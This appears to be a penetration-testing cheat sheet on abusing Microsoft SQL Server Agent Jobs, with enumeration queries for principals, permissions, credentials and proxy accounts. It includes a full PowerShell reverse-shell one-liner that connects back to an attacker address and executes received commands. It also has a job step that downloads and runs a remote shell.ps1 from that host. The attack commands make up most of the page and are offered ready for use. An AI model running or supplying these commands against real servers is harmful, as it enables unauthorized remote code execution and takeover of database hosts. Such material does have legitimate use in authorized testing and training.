TLDRBins TLDRBins / MSSQL Agent Jobs


Usage Tips:

  • Click on a keyword to enable inline editing.
  • Click inside a code block to copy (excludes comments).
  • Use the button to view examples.
  • Click outside to collapse all examples.

1. Pre-check

# List principals SELECT name FROM sys.database_principals;
Sample Output: TO-DO
# Check privilege over a principal from current user SELECT entity_name, permission_name FROM fn_my_permissions('<PRINCIPAL>', 'USER');
Sample Output: TO-DO
# Fix : Cannot resolve the collation conflict between "Latin1_General_CI_AI" and "SQL_Latin1_General_CP1_CI_AS" SELECT entity_name collate DATABASE_DEFAULT,permission_name collate DATABASE_DEFAULT FROM fn_my_permissions('<PRINCIPAL>', 'USER');
Sample Output: TO-DO
# Check SQL credentials SELECT name, credential_identity FROM sys.credentials;
Sample Output: TO-DO

2. Check proxy account name and permissions

# Create a table to store info CREATE TABLE proxies (subsystem_id INT PRIMARY KEY NOT NULL, subsystem_name varchar(255), proxy_id INT, proxy_name varchar(255));
Sample Output: TO-DO
# Insert proxy info into table EXECUTE AS LOGIN='<PRINCIPAL>'; INSERT proxies EXEC msdb.dbo.sp_enum_proxy_for_subsystem;
Sample Output: TO-DO
# Show proxy info SELECT subsystem_name, proxy_name FROM proxies;
Sample Output: TO-DO

3. Create agent job

Powershell #2

$client = New-Object System.Net.Sockets.TCPClient('<LOCAL_IP>',<LOCAL_PORT>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
Sample Output: TO-DO

Create job

USE msdb; EXEC AS LOGIN='<PRINCIPAL>'; EXEC dbo.sp_add_job @job_name=N'ANYTHING'; EXEC dbo.sp_add_jobserver @job_name=N'ANYTHING'; EXEC dbo.sp_add_jobstep @job_name = N'ANYTHING', @step_name=N'ExecPayload', @subsystem=N'CmdExec', @command='powershell.exe iex(iwr http://<LOCAL_IP>/shell.ps1)|iex', @retry_attempts=5, @retry_interval=5, @proxy_name=N'<PROXY_NAME>'; EXEC dbo.sp_start_job @job_name = N'ANYTHING';
Sample Output: TO-DO